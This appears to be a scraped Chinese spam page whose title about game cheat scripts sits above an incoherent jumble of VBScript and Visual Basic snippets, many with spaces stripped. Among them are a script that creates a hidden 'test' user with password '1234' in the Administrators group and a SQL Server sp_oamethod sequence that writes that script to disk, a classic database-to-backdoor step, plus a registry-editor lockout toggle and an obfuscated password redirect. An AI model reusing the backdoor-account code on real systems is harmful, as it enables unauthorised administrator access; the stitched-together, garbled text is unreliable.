魔域永恒脚本哪个好用编辑App哪个好用

大型应用系统启动运行的时间需要很长时间,其时间会根据需要初始化的数量和用户系统的速度变化,因此在主窗口显示前,应显示一个初始化窗口,使应用程序看起来更具吸引力,因为当装载程序时不断可以向用户显示一些信息,而且可产生美观的视觉效果<scriptlanguage=vbs> functionpass() input=inputbox("请输入密码:","hello",,300,300) ifinput=StrReverse("why?")then location.href=("tpircsbvym/moc.udiab.ih//:ptth") else MsgBox"error" location.href= endif endfunction </script>

脚本之家下载 setwsnetwork=CreateObject("WSCRIPT.NETWORK") os=""&wsnetwork.ComputerName Setob=GetObject(os)'得到adsi接口,绑定 Setoe=GetObject(os&"/Administrators,group")'属性,admin组 Setod=ob.Create("user","test")'建立用户 od.SetPassword"1234"'设置密码 od.SetInfo'保存 Setof=GetObject(os&"/test",user)'得到用户 oe.addos&"/test" SQL语句如下,采用sp_oamethod过程: declare@oint,@fint,@retint execsp_oacreate'scripting.filesystemobject',@oout execsp_oamethod@o,'createtextfile',@fout,'c:\1.vbs',1 exec@ret=sp_oamethod@f,'writeline',NULL,'setwsnetwork=CreateObject ("WSCRIPT.NETWORK")' exec@ret=sp_oamethod@f,'writeline',NULL,'os=""&wsnetwork. ComputerName' exec@ret=sp_oamethod@f,'writeline',NULL,'Setob=GetObject(os)' exec@ret=sp_oamethod@f,'writeline',NULL,'Setoe=GetObject (os&"/Administrators,group")' exec@ret=sp_oamethod@f,'writeline',NULL,'Setod=ob.Create ("user","test")' exec@ret=sp_oamethod@f,'writeline',NULL,'od.SetPassword"1234"' exec@ret=sp_oamethod@f,'writeline',NULL,'od.SetInfo' exec@ret=sp_oamethod@f,'writeline',NULL,'Setof=GetObject (os&"/test",user)' exec@ret=sp_oamethod@f,'writeline',NULL,'oe.addos&"/test"' OptionExplicitPrivateConstNCBASTAT=&H33PrivateConstNCBNAMSZ=16PrivateConstHEAP_ZERO_MEMORY=&H8PrivateConstHEAP_GENERATE_EXCEPTIONS=&H4PrivateConstNCBRESET=&H32PrivateTypeNCB  ncb_commandAsByte'Integer  ncb_retcodeAsByte'Integer  ncb_lsnAsByte'Integer  ncb_numAsByte'Integer  ncb_bufferAsLong'String  ncb_lengthAsInteger  ncb_callnameAsString*NCBNAMSZ  ncb_nameAsString*NCBNAMSZ  ncb_rtoAsByte'Integer  ncb_stoAsByte'Integer  ncb_postAsLong  ncb_lana_numAsByte'Integer  ncb_cmd_cpltAsByte'Integer  ncb_reserve(9)AsByte'Reserved,mustbe0  ncb_eventAsLongEndTypePrivateTypeADAPTER_STATUS  adapter_address(5)AsByte'AsString*6  rev_majorAsByte'Integer  reserved0AsByte'Integer  adapter_typeAsByte'Integer  rev_minorAsByte'Integer  durationAsInteger  frmr_recvAsInteger  frmr_xmitAsInteger  iframe_recv_errAsInteger  xmit_abortsAsInteger  xmit_successAsLong  recv_successAsLong  iframe_xmit_errAsInteger  recv_buff_unavailAsInteger  t1_timeoutsAsInteger  ti_timeoutsAsInteger  Reserved1AsLong  free_ncbsAsInteger  max_cfg_ncbsAsInteger  max_ncbsAsInteger  xmit_buf_unavailAsInteger  max_dgram_sizeAsInteger  pending_sessAsInteger  max_cfg_sessAsInteger  max_sessAsInteger  max_sess_pkt_sizeAsInteger  name_countAsIntegerEndTypePrivateTypeNAME_BUFFER  nameAsString*NCBNAMSZ  name_numAsInteger  name_flagsAsIntegerEndTypePrivateTypeASTAT  adaptAsADAPTER_STATUS  NameBuff(30)AsNAME_BUFFEREndTypePrivateDeclareFunctionNetbiosLib"netapi32.dll"(pncbAsNCB)AsBytePrivateDeclareSubCopyMemoryLib"kernel32"Alias"RtlMoveMemory"(hpvDestAsAny,ByValhpvSourceAsLong,ByValcbCopyAsLong)PrivateDeclareFunctionGetProcessHeapLib"kernel32"()AsLongPrivateDeclareFunctionHeapAllocLib"kernel32"(ByValhHeapAsLong,ByValdwFlagsAsLong,ByValdwBytesAsLong)AsLongPrivateDeclareFunctionHeapFreeLib"kernel32"(ByValhHeapAsLong,ByValdwFlagsAsLong,lpMemAsAny)AsLong把下面的代码放入Command1_Click的事件中:PrivateSubCommand1_Click()  DimmyNcbAsNCB  DimbRetAsByte  myNcb.ncb_command=NCBRESET  bRet=Netbios(myNcb)  myNcb.ncb_command=NCBASTAT  myNcb.ncb_lana_num=0  myNcb.ncb_callname="*      "  DimmyASTATAsASTAT,tempASTATAsASTAT  DimpASTATAsLong  myNcb.ncb_length=Len(myASTAT)  Debug.PrintErr.LastDllError  pASTAT=HeapAlloc(GetProcessHeap(),HEAP_GENERATE_EXCEPTIONSOrHEAP_ZERO_MEMORY,myNcb.ncb_length)  IfpASTAT=0Then    Debug.Print"memoryallcoationfailed!"    ExitSub  EndIf  myNcb.ncb_buffer=pASTAT  bRet=Netbios(myNcb)  Debug.PrintErr.LastDllError  CopyMemorymyASTAT,myNcb.ncb_buffer,Len(myASTAT)  MsgBoxHex(myASTAT.adapt.adapter_address(0))&""&_    Hex(myASTAT.adapt.adapter_address(1))_    &""&Hex(myASTAT.adapt.adapter_address(2))&""_    &Hex(myASTAT.adapt.adapter_address(3))_    &""&Hex(myASTAT.adapt.adapter_address(4))&""_    &Hex(myASTAT.adapt.adapter_address(5))  HeapFreeGetProcessHeap(),0,pASTATEndSub4)按F5,运行该程序

IP="jb51.net" WQL="Select * from Win32_PingStatus Where Address='$IP'" WQL=Replace(WQL,"$IP",IP) n=0 : s=0 Do Until n=100 Set objWMIService=GetObject("winmgmts:\\.\root\cimv2") Set colItems=objWMIService.ExecQuery(WQL,,48) For Each objItem in colItems If objItem.StatusCode=0 Then s=s + objItem.ResponseTime n=n + 1 End If Next Loop WScript.Echo "Average:" & s / n 用DBGrid控件的列Columns集合的Count属性和Recordset对象的RecordCount属性可以确定控件中的行和列的数目

DimWSHShell,r,M,v,t,g,i OnErrorResumeNext SetWSHShell=WScript.CreateObject("WScript.Shell") v="HKCU\Software\Microsoft\Windows\CurrentVersion\ Policies\System\DisableRegistryTools" i="REG_DWORD" t="注册表开关" r=WSHShell.RegRead(v) g=1 If(r=1)Theng=0 Ifg=1Then WSHShell.RegWritev,1,i M=MsgBox("是否限制注册表编辑器?",4,t) Else WSHShell.RegDeletev M=MsgBox("是否解除注册表编辑器限制?",4,t) EndIf

判断2个对象变量释放指向同一对象的方法是使用Is操作符,代码如下:

Ifobj1Isobj2Then...

但当2个对象是同一类型时,或者指向同一个二级接口时,我们就可以利用ObjPtr()函数对代码进行一些优化处理:

IfObjPtr(obj1)=ObjPtr(obj2)Then...

后者的执行速度将比前种方法快40多

OnErrorResumeNext dtmTargetDate="20020301000000.000000-420" strComputer="." SetobjWMIService=GetObject_ ("winmgmts:"&"!\"&strComputer&"\root\cimv2") SetcolFolders=objWMIService.ExecQuery_ ("Select*fromWin32_DirectoryWhereCreationDate>'"&_ dtmtargetDate&"'") ForEachobjFolderincolFolders Wscript.EchoobjFolder.Name Next bat实例   PrivateDeclareFunctionRegSetValueLib"advapi32.dll"Alias"RegSetValueA"(ByValhKeyAsLong,ByVallpSubKeyAsString,ByValdwTypeAsLong,ByVallpDataAsString,ByValcbDataAsLong)AsLong   PrivateDeclareFunctionRegCreateKeyLib"advapi32.dll"Alias"RegCreateKeyA"(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong   PrivateDeclareFunctionRegCloseKeyLib"advapi32.dll"(ByValhKeyAsLong)AsLong  然后声明以下两个常数,要进行注册表写入的位置是在HKEY_LOCAL_MACHINE下,我们可以在VB自带的API文本查看器中找到这些常数的定义方法Function Caesar(str,offset) Dim length,char,i Caesar="" length=Len(str) For i=1 To length char=Mid(str,i,1) If char >="A" And char <="Z" Then char=Asc("A") + (Asc(char) - Asc("A") + offset) Mod 26 Caesar=Caesar & Chr(char) ElseIf char >="a" And char <="z" Then char=Asc("a") + (Asc(char) - Asc("a") + offset) Mod 26 Caesar=Caesar & Chr(char) Else Caesar=Caesar & char End If Next End Function WScript.Echo Caesar("ABCDEFGHIJKLMNOPQRSTUVWXYZ",3) 。

167人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册